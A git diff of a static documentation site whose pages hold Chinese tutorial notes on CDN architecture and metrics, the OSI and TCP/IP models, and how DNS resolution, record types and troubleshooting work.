                            • 负载均衡系统:主要功能是负责对所有发起服务请求的用户进行访问调度,确定提供给用户的最终实际访问地址。两级调度体系分为全局负载均衡(GSLB)和本地负载均衡(SLB)。GSLB 主要根据用户就近性原则,通过对每个服务节点进行”最优“判断,确定向用户提供服务的 Cache 的物理位置。SLB 主要负责节点内部的设备负载均衡
                            • 运营管理系统:分为运营管理和网络管理子系统,负责处理业务层面的与外界系统交互所必须的收集、整理、交付工作,包含客户管理、产品管理、计费管理、统计分析等功能。

                            CDN 通常由源站负责内容生产,主干节点负责二级缓存和加速,通常在 BGP 网络。

                            广义上的内容分发网络可以包含源站一起,甚至多媒体分发(视频)。商业意义上的 CDN 只包含 CDN 提供商的网络,不包含源站。部分 CDN 支持图片及多媒体处理扩展等附加功能:压缩、剪切、水印、鉴黄。

                            CDN 切面

                            CDN 切面

                            CDN 数据流向

                            CDN 数据流向

                            应用场景

                            网站加速

                            站点或者应用中大量静态资源的加速分发,建议将站点内容进行动静分离,动态文件可以结合云服务器 ECS,静态资源如各类型 HTML、CSS、JS、图片、文件、短视频等,建议结合对象存储 OSS 存储海量静态资源,可以有效加速内容加载速度,轻松搞定网站图片、短视频等内容分发。

                            七牛云网站加速

                            建议将 CDN 产品与 OSS 产品结合使用,可以加速资源的加载速度,提高网站图片、短视频等分发效率。

                            业务价值:

                            • 终端用户访问慢:网站小文件内容多打开速度太慢
                            • 跨区域访问质量差:终端用户分布在不同区域,不同区域的访问速度和质量高低不一
                            • 高并发压力大:运营推广期间,源站服务器压力大,容易挂掉,造成服务不可用
                            • 图片格式分辨率处理复杂:无法根据适合的终端情况进行图片压缩和优化

                            超大文件下载

                            大文件下载优化加速分发:网站或应用 App 的主要业务为大文件下载,例如:安装包文件 apk、音频文件 mp3、驱动程序 exe、应用更新文件 zip 等,平均单个文件大小在 20M 以上,如游戏、各类客户端下载和 App 下载商店等。

                            七牛云超大文件下载

                            业务价值:

                            • 终端用户无法下载或者下载太慢。
                            • 网络环境不稳定时,下载容易中断。重新下载会耗费额外的资源。
                            • 网站内容不安全,容易被劫持。
                            • 文件存储成本过高,同时对源站性能要求高。

                            音视频点播

                            音视频点播优化加速服务:网站或应用 App 的主要业务为视频点播或短视频类。支持例如:mp4flvrmvbwmvHLS 等主流视频格式。

                            视音频点播主要适用于各类视音频站点,如影视类视频网站、在线教育类视频网站、新闻类视频站点、短视频社交类网站以及音频类相关站点和应用。

                            CDN 支持流媒体协议,例如 RTMP 协议。在很多情况下,这相当于一个代理,从上一级缓存读取内容,转发给用户。由于流媒体往往是连续的,因而可以进行预先缓存的策略,也可以预先推送到用户的客户端。

                            对于静态页面来讲,内容的分发往往采取 拉取 的方式,也即当发现未命中的时候,再去上一级进行拉取。但是,流媒体数据量大,如果出现回源,压力会比较大,所以往往采取主动推送的模式,将热点数据主动推送到边缘节点。

                            对于流媒体来讲,很多 CDN 还提供 预处理 服务,也即文件在分发之前,经过一定的处理。例如将视频转换为不同的码流,以适应不同的网络带宽的用户需求;再如对视频进行分片,降低存储压力,也使得客户端可以选择使用不同的码率加载不同的分片。这就是我们常见的,超清、标清、流畅等。

                            业务价值:

                            • 终端用户访问视频时打不开视频或容易卡顿,观看不流畅。
                            • 上传、转码、存储、分发、播放的开发配置流程复杂,点播服务技术门槛高。
                            • 视频资源容易被劫持或盗用,版权得不到有效保护。
                            • 终端客户上传的小视频等内容无法被快速审核,导致政策风险。

                            音视频直播

                            视频流媒体直播服务,支持媒资存储、切片转码、访问鉴权、内容分发加速一体化解决方案。结合弹性伸缩服务,及时调整服务器带宽,应对突发访问流量;结合媒体转码服务,享受高速稳定的并行转码,且任务规模无缝扩展。

                            边缘程序

                            传统的 CDN 服务是纯粹的缓存和分发服务,缺乏可以直接提供给您的计算能力。访问 CDN 的海量请求中,复杂的计算逻辑必须回服务器源站执行,这增加了您的服务器消耗以及架构的复杂性。ER 可提供直接在 CDN 边缘节点计算处理的能力,将极大提高 CDN 的可定制化,可编程化,从而大量减少需回源的请求,降低用户的请求延时。同时 CDN 边缘节点拥有天然的高可用、高伸缩、全球负载均衡的特性,边缘的计算服务可应用于更多的使用场景。

                            • Geo:边缘打点服务,可以采集到边缘节点的请求相关信息:如 IP、地理、设备信息等
                            • Fetch:边缘代理服务,在 JS 代码中调用内置 api fetch 做了 http 自请求,响应给客户端 fetch 的最终内容
                            • AB test:AB 测试的功能
                            • Precache/Prefetch:CDN 预热功能,预热任务在响应客户端时将异步完成
                            • Race:回源同拉功能,将回源速度最快的源站的内容优先返回给客户端
                            • Log:边缘日志服务,在响应结束后异步地生成日志并回传给您的 Server
                            • 3xx:回源 302 跟随功能
                            • Redirect:边缘请求重定向功能
                            • Deny bot:边缘反爬虫服务
                            • Waf:边缘 waf 服务,当满足某些条件时,将禁止该请求

                            通常,使用了 CDN 后,您可以根据延时、下载速度、打开速度、丢包率、回源率和缓存命中率判断加速效果。

                            衡量指标

                            使用 CDN 加速,能够帮助您分担源站压力,加速资源访问速度。除了通用的数据观测指标外,不同的场景下也有更具体的指标。观测这些指标,不仅可以帮助您体验 CDN 加速的效果,也能观测自身业务使用 CDN 的情况,帮助您更好地做出调整和决策。

                            通用指标

                            您可以根据以下几个主要性能指标,观察使用 CDN 前后,您的网站情况。这些指标包含但不限于:

                            • 延时:指一个数据包从用户的计算机发送到网站服务器,然后再立即从网站服务器返回用户计算机的来回时间。延时越低,性能越好。
                            • 下载速度:指用户从网络上或者网络服务器上下载的数据时的传输速度。下载速度越快,性能越好。
                            • 打开速度:指用户打开网站的速度。打开速度越快,性能越好。
                            • 丢包率:指用户在网络传输中所丢失数据包数量占所发送数据组的比率。
                            • 回源率:回源率分为回源请求数比例及回源流量比例两种。
                              • 回源请求数比:指边缘节点对于没有缓存、缓存过期(可缓存)和不可缓存的请求占全部请求记录的比例。越低则性能越好。
                              • 回源流量比:回源流量是回源请求文件大小产生的流量和请求本身产生的流量。所以 回源流量比=回源流量/(回源流量+用户请求访问的流量),比值越低,性能越好。
                            • 缓存命中率:指终端用户访问加速节点时,该节点已缓存了要被访问的数据的次数占全部访问次数的比例。缓存命中率越高,性能越好。

                            说明:上文提到的回源率、缓存命中率都是指使用 CDN 后衡量的指标。如果您还没有使用 CDN,那么回源请求数为 100%,缓存命中率为 0。

                            一般情况下,使用 CDN 后,您的网络延时、丢包率和回源率都会降低,与之相对的下载速度、打开速度、缓存命中率则会提高。但是,由于业务场景和业务类型的不同,即使选择了相同配置的 CDN 服务,实际产生的加速效果也不相同。因此,这里只是提供了定性的指标以供观测。

                            CDN 的各类应用场景都各自具有一些具体指标。您可以根据您的业务场景,进一步观测。

                            加速小文件的主要指标

                            小文件,主要指 htmljsjpgcss 等文件后缀的网页素材。这类加速对延迟要求较高,因为通常而言,页面加载时间的加长对用户流失会造成巨大影响。

                            延迟主要包括以下 3 个性能指标:建立连接时间、首包时间、内容下载时间。其中,首包时间是最核心的指标。

                            • 建立连接时间:指 DNS 解析完成,然后找到对应 IP 地址后建立 TCP 连接的过程。建立连接的时间长短,基本可以反映 CDN 服务的节点资源以及调度能力
                            • 首包时间:指从客户端开始发送请求到收到服务器端发来的第一个包之间所需要的时间。这反映了 CDN 服务节点程序的整体性能。

                            在上传路径中,首包时间主要包含了 DNS 解析时间、TCP 用时、SSL 用时、发送时间和响应时间。上传

                            CDN Upload Flow

                            在下载路径中,首包时间主要包含了 DNS 解析时间、TCP 用时、SSL 用时、发送时间、响应时间和下载用时。下载

                            CDN Upload Flow

                            加速大文件下载的主要指标

                            大文件下载,一般指各类单个文件大小大于 20M 的下载。因此对这类场景,最核心的指标就是 下载速度下载总时间

                            加速音视频点播的主要指标

                            视音频点播的场景,主要涵盖 flvmp4wmvmkv 等视音频文件。在这类场景中的主要衡量指标包括首播时间和卡顿率:

                            • 首播时间:首播时间是从打开到看到视频画面的时间。往往会受域名解析、连接、首包时间的影响。
                            • 卡顿率:卡顿指视音频播放、资源加载等场景下出现画面滞帧。因此卡顿率主要指把所有用户播放视频的卡顿时间上报,每 100 个用户里面播放出现卡顿的比例。卡顿率越低,性能越好。

                            CDN 提供商

                            每个 CDN 服务提供商的配置信息不同。

                            动态 CDN

                            动态加速针对动态资源进行加速分发。

                            • 边缘计算的模式:既然数据是动态生成的,所以 数据的逻辑计算和存储,也相应的放在边缘的节点。其中定时从源数据那里同步存储的数据,然后在边缘进行计算得到结果。就像对生鲜的烹饪是动态的,没办法事先做好缓存,因而将生鲜超市放在你家旁边,既能够送货上门,也能够现场烹饪,也是边缘计算的一种体现。
                            • 路径优化的模式:数据不是在边缘计算生成的,而是在源站生成的,但是数据的下发则可以通过 CDN 的网络,对路径进行优化。因为 CDN 节点较多,能够找到离源站很近的边缘节点,也能找到离用户很近的边缘节点。中间的链路完全由 CDN 来规划,选择一个更加可靠的路径,使用类似专线的方式进行访问。

                            对于常用的 TCP 连接,在公网上传输的时候经常会丢数据,导致 TCP 的窗口始终很小,发送速度上不去。根据前面的 TCP 流量控制和拥塞控制的原理,在 CDN 加速网络中可以调整 TCP 的参数,使得 TCP 可以更加激进地传输数据。可以通过多个请求复用一个连接,保证每次动态请求到达时。连接都已经建立了,不必临时三次握手或者建立过多的连接,增加服务器的压力。另外,可以通过对传输数据进行压缩,增加传输效率。所有这些手段就像冷链运输,整个物流优化了,全程冷冻高速运输。不管生鲜是从你旁边的超市送到你家的,还是从产地送的,保证到你家是新鲜的。

                            刷新预热

                            • 刷新功能是指提交 URL 刷新或目录刷新请求后,CDN 节点的缓存内容将会被强制过期,当您向 CDN 节点请求资源时,CDN 会直接回源站获取对应的资源返回给您,并将其缓存。刷新功能会降低缓存命中率。
                            • 预热功能是指提交 URL 预热请求后,源站将会主动将对应的资源缓存到 CDN 节点,当您首次请求时,就能直接从 CDN 节点缓存中获取到最新的请求资源,无需再回源站获取。预热功能会提高缓存命中率。

                            一些关于 CDN 的常见问题:

                            参考资料

                            - + diff --git a/computer-networks/computer-network-architecture/computer-networks/index.html b/computer-networks/computer-network-architecture/computer-networks/index.html index 40537d976..1e5ef0b18 100644 --- a/computer-networks/computer-network-architecture/computer-networks/index.html +++ b/computer-networks/computer-network-architecture/computer-networks/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 计算机网络体系 - JavaScript Guidebook -

                            计算机网络体系

                            计算机网络体系

                            计算机网络体系

                            OSI 七层模型

                            • 应用层:允许访问 OSI 环境的手段(应用协议数据单元 APDU)
                            • 表示层:对数据进行翻译、加密和压缩(表示协议数据单元 PPDU)
                            • 会话层:建立、管理和终止会话(会话协议数据单元 SPDU)
                            • 传输层:提供端到端的可靠报文传递和错误恢复(段 Segment)
                            • 网络层:负责数据包从源到宿的传递和网际互连(包 PackeT)
                            • 数据链路层:将比特组装成帧和点到点的传递(帧 Frame)
                            • 物理层:通过媒介传输比特,确定机械及电气规范(比特 Bit)

                            TCP/IP 概念层模型

                            • 应用层(Application Layer)的任务是通过应用进程间的交互来完成特定网络应用。应用层协议定义的是应用进程(进程:主机中正在运行的程序)间的通信和交互的规则。对于不同的网络应用需要不同的应用层协议。在互联网中应用层协议很多,如域名系统 DNS,支持万维网应用的 HTTP 协议,支持电子邮件的 SMTP 协议等等
                            • 传输层(Transport Layer)的主要任务就是 负责向两台主机进程之间的通信提供通用的数据传输服务。应用进程利用该服务传送应用层报文。
                            • 网络层的任务就是选择合适的网间路由和交换结点,确保计算机通信的数据及时传送。在发送数据时,网络层把运输层产生的报文段或用户数据报封装成分组和包进行传送。在 TCP/IP 体系结构中,由于网络层使用 IP 协议,因此分组也叫 IP 数据报 ,简称数据报。
                            • 数据链路层(Data Link Layer)通常简称为链路层。两台主机之间的数据传输,总是在一段一段的链路上传送的,这就需要使用专门的链路层的协议。 在两个相邻节点之间传送数据时,数据链路层将网络层接下来的 IP 数据报组装成帧,在两个相邻节点间的链路上传送帧。每一帧包括数据和必要的控制信息(如同步信息,地址信息,差错控制等)。
                            • 物理层上所传送的数据单位是比特。 物理层(physical layer)的作用是实现相邻计算机节点之间比特流的透明传送,尽可能屏蔽掉具体传输介质和物理设备的差异。使其上面的数据链路层不必考虑网络的具体传输介质是什么。“透明传送比特流”表示经实际电路传送后的比特流没有发生变化,对传送的比特流来说,这个电路好像是看不见的。 在互联网使用的各种协议中最重要和最著名的就是 TCP/IP 两个协议。
                            +

                            计算机网络体系

                            计算机网络体系

                            计算机网络体系

                            OSI 七层模型

                            • 应用层:允许访问 OSI 环境的手段(应用协议数据单元 APDU)
                            • 表示层:对数据进行翻译、加密和压缩(表示协议数据单元 PPDU)
                            • 会话层:建立、管理和终止会话(会话协议数据单元 SPDU)
                            • 传输层:提供端到端的可靠报文传递和错误恢复(段 Segment)
                            • 网络层:负责数据包从源到宿的传递和网际互连(包 PackeT)
                            • 数据链路层:将比特组装成帧和点到点的传递(帧 Frame)
                            • 物理层:通过媒介传输比特,确定机械及电气规范(比特 Bit)

                            TCP/IP 概念层模型

                            • 应用层(Application Layer)的任务是通过应用进程间的交互来完成特定网络应用。应用层协议定义的是应用进程(进程:主机中正在运行的程序)间的通信和交互的规则。对于不同的网络应用需要不同的应用层协议。在互联网中应用层协议很多,如域名系统 DNS,支持万维网应用的 HTTP 协议,支持电子邮件的 SMTP 协议等等
                            • 传输层(Transport Layer)的主要任务就是 负责向两台主机进程之间的通信提供通用的数据传输服务。应用进程利用该服务传送应用层报文。
                            • 网络层的任务就是选择合适的网间路由和交换结点,确保计算机通信的数据及时传送。在发送数据时,网络层把运输层产生的报文段或用户数据报封装成分组和包进行传送。在 TCP/IP 体系结构中,由于网络层使用 IP 协议,因此分组也叫 IP 数据报 ,简称数据报。
                            • 数据链路层(Data Link Layer)通常简称为链路层。两台主机之间的数据传输,总是在一段一段的链路上传送的,这就需要使用专门的链路层的协议。 在两个相邻节点之间传送数据时,数据链路层将网络层接下来的 IP 数据报组装成帧,在两个相邻节点间的链路上传送帧。每一帧包括数据和必要的控制信息(如同步信息,地址信息,差错控制等)。
                            • 物理层上所传送的数据单位是比特。 物理层(physical layer)的作用是实现相邻计算机节点之间比特流的透明传送,尽可能屏蔽掉具体传输介质和物理设备的差异。使其上面的数据链路层不必考虑网络的具体传输介质是什么。“透明传送比特流”表示经实际电路传送后的比特流没有发生变化,对传送的比特流来说,这个电路好像是看不见的。 在互联网使用的各种协议中最重要和最著名的就是 TCP/IP 两个协议。
                            - + diff --git a/computer-networks/computer-network-architecture/dns/index.html b/computer-networks/computer-network-architecture/dns/index.html index 035dc8531..6e47ea3a0 100644 --- a/computer-networks/computer-network-architecture/dns/index.html +++ b/computer-networks/computer-network-architecture/dns/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + DNS 域名解析系统 - JavaScript Guidebook -

                            DNS 域名解析系统

                            DNS 域名解析系统(Domain Name System) 是进行域名(domain name)和与之相对应的 IP 地址(IP address)转换的服务器。DNS 中保存了一张域名(domain name)和与之相对应的 IP 地址(IP address)的表,以解析消息的域名。

                            使用 IP 地址而非使用域名进行通信的原因:

                            • IP 地址是固定长度,IPv4 是 32 位,IPv6 是 128 位,而域名是变长的,不便于计算机处理
                            • IP 地址对于用户来说不方便记忆,但域名便于用户使用

                            简单来说就是 IP 面向主机,域名面向用户。

                            域名的分层结构

                            由于因特网的用户数量较多,所以因特网在命名时采用的是层次树状结构的命名方法。任何一个连接在因特网上的主机或路由器,都有一个唯一的层次结构的名字,即域名(domain name)。这里,(domain)是名字空间中一个可被管理的划分。从语法上讲,每一个域名都是有标号(label)序列组成,而各标号之间用点(.)隔开。域名可以划分为各个子域,子域还可以继续划分为子域的子域,这样就形成了顶级域、主域名、子域名等。

                            域名系统必须要保持唯一性。

                            特点:

                            1. 每个域名都是一个标号序列,用字母(大小写等价)、数字(0-9)和连接符(-)组成
                            2. 标号序列总长度不能超过 255 个字符,它由各标点之间用 . 分割成一个个的标号
                            3. 每个标号应该在 63 个字符之内,每个标号都可以堪称一个层次的域名
                            4. 级别最低的域名写在左边,级别最高的域名写在右边

                            域名服务是基于 UDP 实现的,服务器的端口号为 53

                            www.example.google.com 为例:

                            • .com:是顶级域名
                            • google.com:是主域名(也可称托管一级域名),主要指企业名
                            • example.google.com:是子域名(也可称为托管二级域名)
                            • www.example.google.com:是子域名的子域(也可称为托管三级域名)

                            域名可以划分为各个子域,子域还可以继续划分为子域的子域,这样就形成了顶级域、二级域、三级域等。

                            顶级域名标识
                            国家顶级域名中国 cn;美国 us;英国 uk
                            通用顶级域名公司企业 com;教育机构 edu;政府部门 gov;国际组织 int;军事部门 mil;网络 net;非盈利组织 org
                            反向域名Arpa 用于 PTR 查询(IP 地址转换为域名)

                            查询类型

                            递归查询

                            递归查询(Recursive)是一种 DNS 服务器的查询模式,在该模式下 DNS 服务器接收到客户机请求,必须使用一个准确的查询结果回复客户机。如果 DNS 服务器本地没有存储查询 DNS 信息,那么该服务器会询问其他服务器,并将返回的查询结果提交给客户机。所以,一般情况下服务器跟内网 DNS 或直接 DNS 之间都采用递归查询。

                            迭代查询

                            DNS 服务器另外一种查询方式为迭代查询,DNS 服务器会向客户机提供其他能够解析查询请求的 DNS 服务器地址,当客户机发送查询请求时,DNS 服务器并不直接回复查询结果,而是告诉客户机另一台 DNS 服务器地址,客户机再向这台 DNS 服务器提交请求,依次循环直到返回查询的结果。所以一般内网 DNS 和外网 DNS 之间的都采用迭代查询。

                            分层结构

                            域名是分层结构,域名 DNS 服务器也是对应的层级结构。有了域名结构,还需要有域名 DNS 服务器去解析域名,且是需要由遍及全世界的域名 DNS 服务器去解析,域名 DNS 服务器实际上就是装有域名系统的主机。域名解析过程涉及 4 个 DNS 服务器,分别如下:

                            分类作用
                            根 DNS 服务器Root NameServer,本地域名服务器在本地查询不到解析结果时,则第一步会向它进行查询,并获取顶级域名服务器的 IP 地址。
                            顶级域名服务器TLD(Top-level) NameServer。负责管理在该顶级域名服务器下注册的二级域名,例如 www.example.com.com 则是顶级域名服务器,在向它查询时,可以返回二级域名 example.com 所在的权威域名服务器地址
                            权威域名服务器Authoritative NameServer。在特定区域内具有唯一性,负责维护该区域内的域名与 IP 地址之间的对应关系,例如云解析 DNS。
                            本地域名服务器DNS Resolver 或 Local DNS。本地域名服务器是响应来自客户端的递归请求,并最终跟踪直到获取到解析结果的 DNS 服务器。例如用户本机自动分配的 DNS、运营商 ISP 分配的 DNS、谷歌/114 公共 DNS 等

                            每个层的域名上都有自己的域名服务器,最顶层的是根域名服务器

                            每一级域名服务器都知道下级域名服务器的 IP 地址,以便于一级一级向下查询

                            记录类型

                            在 DNS 系统中,最常见的资源记录方式是 Internet 类记录,该记录由包含 4 个字段的数据构成:NameValueTypeTTL

                            其中 NameValue 可以理解为一对键值对,但是其具体含义取决于 Type 的类型,TTL 记录了该条记录应当从缓存中删除的时间。

                            在资源记录的类型中中,最为常见且重要的类型 Type 主要有:

                            类型说明
                            A将域名指向一个 IPv4 地址,A 记录用于描述目标域名到 IP 地址的映射关系,将目标域名与 A 记录的 Name 字段进行匹配,将成功匹配的记录的 Value 字段的内容(IP 地址)输出到 DNS 回应报文中。
                            CNAME将域名指向另一个域名,CNAME 记录用于描述目的域名和别名的对应关系,如果说 A 记录可以将目标域名转换为对应主机的 IP 地址,那么 CNAME 记录则可以将一个域名(别名)转换为另一个域名,如果多条 CNAME 记录指向同一个域名,则可以将多个不同的域名的请求指向同一台服务器主机。并且,CNAME 记录通常还对应了一条 A 记录,用于提供被转换的域名的 IP 地址
                            NS将子域名指向另一个 DNS 服务器解析,NS 记录用于描述目标域名到负责解析该域名的 DNS 的映射关系,根据目标域名对 NS 记录的 Name 字段进行匹配,将成功匹配的记录的 Value 字段(负责解析目标域名的 DNS 的 IP 地址)输出到 DNS 回应报文中
                            AAAA将域名指向一个 IPv6 地址
                            MX将域名指向邮件服务器地址
                            SRV记录提供特定的服务的服务器
                            TXT文本长度限制 512,通常做 SDF 记录(反垃圾邮件)
                            CAACA 证书颁发机构授权校验
                            显性 URL将域名重定向至另一个地址
                            隐形 URL与显性 URL 类似,但是会隐藏真实的目标地址

                            解析过程

                            DNS 是一种使用 UDP 协议进行域名查询的协议,其最主要的目标就是将域名转换为 IP 地址。

                            DNS 查询的结果通常会在本地域名服务器中进行缓存,如果本地域名服务器中有缓存的情况下,则会跳过如下 DNS 查询步骤,很快返回解析结果。下面的示例则概述了本地域名服务器没有缓存的情况下,DNS 查询所需的 8 个步骤:

                            1. 用户在 Web 浏览器中输入 www.taobao.com, 则由本地域名服务器开始进行递归查询。
                            2. 本地域名服务器采用 迭代查询 的方法,向根域名服务器进行查询 。
                            3. 根域名服务器告诉本地域名服务器,下一步应该查询的顶级域名服务器 .com TLD 的 IP 地址
                            4. 本地域名服务器向顶级域名服务器 .com TLD 进行查询
                            5. .com TLD 服务器告诉本地域名服务器,下一步查询 www.taobao.com 权威域名服务器的 IP 地址
                            6. 本地域名服务器向 www.taobao.com 权威域名服务器发送查询
                            7. www.taobao.com 权威域名服务器告诉本地域名服务器所查询的主机 IP 地址
                            8. 本地域名服务器最后把查询的 IP 地址响应给 Web 浏览器,一旦 DNS 查询的 8 个步骤返回了 www.taobao.com 的 IP 地址,浏览器就能够发出对网页的请求:
                            9. 浏览器向 IP 地址发出 HTTP 请求
                            10. 该 IP 处的 web 服务器返回要在浏览器中呈现的网页
                            DNS Workflow

                            详细解析:

                            以查询 www.taobao.com 对应的 IP 地址为例,操作系统首先会在本地尝试解析,比如使用众所周知的 hosts 文件,同时如果有解析缓存的话,操作系统也会去查询。如果是在浏览器中进行查询,浏览器自己有时也会有解析缓存。

                            • 用户设备
                              • 浏览器可能会缓存域名解析
                              • 用户系统中可以有自己的域名映射表
                            • 公共域名服务器
                              • 通常由 ISP 提供
                              • 缓存上一级域名服务器的结果

                            在查询没有结果时,设备最终会开始向域名服务器发起查询请求。公共域名服务器一般就是用户的 ISP 提供的。这种公共域名服务器通常会缓存查询结果,因此如果缓存命中,查询就可以到此结束。当然缓存本身是有时效的,这个时效就被称为 TTL。对于超过时效的查询结果,域名服务器有义务重新发起查询请求。但查询本身是非常消耗流量的事情,因此也有一些公共服务器不严格遵守 TTL,超时缓存。

                            未命名缓存的查询,公共服务器会向顶级域名服务器进行查询。以上述例子来说,因为公共域名服务器不知道 taobao.com 的解析权归谁,因此它会向顶级域名服务器——com 域名服务器发起请求,寻找 taobao.com 对应的域名服务器。顶级域名服务器一般是由域名经营机构来维护的,有些甚至归属国家机关管理,例如国别域名。理论上来说,在顶级域名服务器之上还有一个根域名服务器,不过在平时很难意识到它的存在。

                            • 公共域名服务器
                              • DNS 级联的特性决定了中途可以有更多域名服务器
                            • 顶级域名服务器
                              • 由顶级域名经营机构维护
                              • 可细分为与国家、通用

                            在查找到 taobao.com 的域名服务器之后,就可以向域名服务器查询 www.taobao.com 的 IP 了。这个过程是由上到下指定下来的,所以这种域名服务器可以被称为权威域名服务器。对于开发者来说,我们自己平时在域名服务器那里购买到域名之后,录入自己域名对应的 IP,其实就是在向权威域名服务器录入信息。一些大型企业会自己维护权威域名服务器,这样既可以抵御一些针对性的攻击,同时也可以更好地优化解析的速度。

                            • 公共域名服务器
                            • 权威域名服务器
                              • 通常由专业的域名服务机构提供
                              • 购买域名时一般会提供

                            排查与优化

                            常见问题

                            • DNS 服务器本身有问题,响应慢并且不稳定
                            • 或者是,客户端到 DNS 服务器的网络延迟比较大
                            • 再或者,DNS 请求或者响应包,在某些情况下被链路中的网络设备弄丢了

                            故障排查顺序

                            1. 检查本地 hostscat /etc/hosts
                            2. 检查 resolv.conf 文件:cat /etc/resolv.conf。在 Redhat7 / Centos7 上修改 resolv.conf 里的 DNS 地址后,重启启网络服务发现 DNS 地址消失了,那么检查下网卡配置文件。
                            3. 检查网卡配置文件:cat /etc/sysconfig/network-scripts/ifcfg-<网卡名称>,看下里头有没 DNS 配置信息,没有的话补上去。

                            常见优化技术

                            1. HttpDNS:客户端基于 HTTP 协议,向 CDN 服务商指定的 DNS 服务器发送域名解析请求,从而避免 LocalDNS 造成的域名劫持和跨网访问
                            2. Http 302 跳转:CDN 厂商维护 CDN 域名 IP 库,根据用户访问终端的 IP 和 CDN 边缘节点的状态,选择最合适的 CDN 节点,发出 HTTP 的 302 返回码,将用户的请求跳转到合适的 CDN 边缘节点。

                            常见优化方法

                            • 缓存:缓存是最有效的方法,但要注意,一旦缓存过期,还是要去 DNS 服务器重新获取新记录。不过,这对大部分应用程序来说都是可接受的。
                            • 预解析:这是浏览器等 Web 应用中最常用的方法,也就是说,不等用户点击页面上的超链接,浏览器就会在后台自动解析域名,并把结果缓存起来。
                            • HTTPDNS:使用 HTTPDNS 取代常规的 DNS 解析。这是很多移动应用会选择的方法,特别是如今域名劫持普遍存在,使用 HTTP 协议绕过链路中的 DNS 服务器,就可以避免域名劫持的问题。
                            • 全局负载均衡:基于 DNS 的全局负载均衡(GSLB)。这不仅为服务提供了负载均衡和高可用的功能,还可以根据用户的位置,返回距离最近的 IP 地址。
                            • 对于移动客户端,在 APP 启动时对需要解析的域名做预先解析,然后把解析的结果缓存到本地的一个 LRU 缓存里面。这样当我们要使用这个域名的时候,只需要从缓存中直接拿到所需要的 IP 地址就好了,如果缓存中不存在才会走整个 DNS 查询的过程。同时为了避免 DNS 解析结果的变更造成缓存内数据失效,我们可以启动一个定时器定期地更新缓存中的数据。

                            DNS 污染解决方案

                            一般是考虑尽可能自主控制 DNS 解析,比如使用专用 DNS 服务器,HTTPDNS,甚至是直接使用 IP 地址跳过解析

                            DNS 术语

                            DNS 缓存

                            DNS 缓存是将解析数据存储在靠近发起请求的客户端的位置,也可以说 DNS 数据是可以缓存在任意位置,最终目的是以此减少递归查询过程,可以更快的让用户获得请求结果。

                            TTL

                            英文全称 Time To Live ,这个值是告诉本地域名服务器,域名解析结果可缓存的最长时间,缓存时间到期后本地域名服务器则会删除该解析记录的数据,删除之后,如有用户请求域名,则会重新进行递归查询/迭代查询的过程。

                            DNS Query Flood Attack

                            指域名查询攻击,攻击方法是通过操纵大量傀儡机器,发送海量的域名查询请求,当每秒域名查询请求次数超过 DNS 服务器可承载的能力时,则会造成解析域名超时从而直接影响业务的可用性。

                            URL 转发

                            英文 Url Forwarding,也可称地址转向,它是通过服务器的特殊设置,将一个域名指向到另外一个已存在的站点

                            DNSSEC

                            域名系统安全扩展(DNS Security Extensions),简称 DNSSEC。它是通过数字签名来保证 DNS 应答报文的真实性和完整性,可有效防止 DNS 欺骗和缓存污染等攻击,能够保护用户不被重定向到非预期地址,从而提高用户对互联网的信任。

                            常用 DNS

                            • 114 DNS:114.114.114.114114.114.115.115
                            • 阿里 DNS:223.5.5.5223.6.6.6
                            • 百度 DNS:180.76.76.76
                            • DNS 派:
                              • 电信 101.226.4.6
                              • 联通 123.125.81.6
                              • 移动 101.226.4.6
                              • 铁通 101.226.4.6
                            • OneDNS
                              • 南方 112.124.47.27
                              • 北方 114.215.126.16
                              • 共用 42.236.82.22
                            • Google DNS:8.8.8.88.8.4.4
                            • OpenDNS:208.67.222.222208.67.220.220
                            • 360 DNS:101.226.4.6123.125.81.6

                            参考资料

                            +

                            DNS 域名解析系统

                            DNS 域名解析系统(Domain Name System) 是进行域名(domain name)和与之相对应的 IP 地址(IP address)转换的服务器。DNS 中保存了一张域名(domain name)和与之相对应的 IP 地址(IP address)的表,以解析消息的域名。

                            使用 IP 地址而非使用域名进行通信的原因:

                            • IP 地址是固定长度,IPv4 是 32 位,IPv6 是 128 位,而域名是变长的,不便于计算机处理
                            • IP 地址对于用户来说不方便记忆,但域名便于用户使用

                            简单来说就是 IP 面向主机,域名面向用户。

                            域名的分层结构

                            由于因特网的用户数量较多,所以因特网在命名时采用的是层次树状结构的命名方法。任何一个连接在因特网上的主机或路由器,都有一个唯一的层次结构的名字,即域名(domain name)。这里,(domain)是名字空间中一个可被管理的划分。从语法上讲,每一个域名都是有标号(label)序列组成,而各标号之间用点(.)隔开。域名可以划分为各个子域,子域还可以继续划分为子域的子域,这样就形成了顶级域、主域名、子域名等。

                            域名系统必须要保持唯一性。

                            特点:

                            1. 每个域名都是一个标号序列,用字母(大小写等价)、数字(0-9)和连接符(-)组成
                            2. 标号序列总长度不能超过 255 个字符,它由各标点之间用 . 分割成一个个的标号
                            3. 每个标号应该在 63 个字符之内,每个标号都可以堪称一个层次的域名
                            4. 级别最低的域名写在左边,级别最高的域名写在右边

                            域名服务是基于 UDP 实现的,服务器的端口号为 53

                            www.example.google.com 为例:

                            • .com:是顶级域名
                            • google.com:是主域名(也可称托管一级域名),主要指企业名
                            • example.google.com:是子域名(也可称为托管二级域名)
                            • www.example.google.com:是子域名的子域(也可称为托管三级域名)

                            域名可以划分为各个子域,子域还可以继续划分为子域的子域,这样就形成了顶级域、二级域、三级域等。

                            顶级域名标识
                            国家顶级域名中国 cn;美国 us;英国 uk
                            通用顶级域名公司企业 com;教育机构 edu;政府部门 gov;国际组织 int;军事部门 mil;网络 net;非盈利组织 org
                            反向域名Arpa 用于 PTR 查询(IP 地址转换为域名)

                            查询类型

                            递归查询

                            递归查询(Recursive)是一种 DNS 服务器的查询模式,在该模式下 DNS 服务器接收到客户机请求,必须使用一个准确的查询结果回复客户机。如果 DNS 服务器本地没有存储查询 DNS 信息,那么该服务器会询问其他服务器,并将返回的查询结果提交给客户机。所以,一般情况下服务器跟内网 DNS 或直接 DNS 之间都采用递归查询。

                            迭代查询

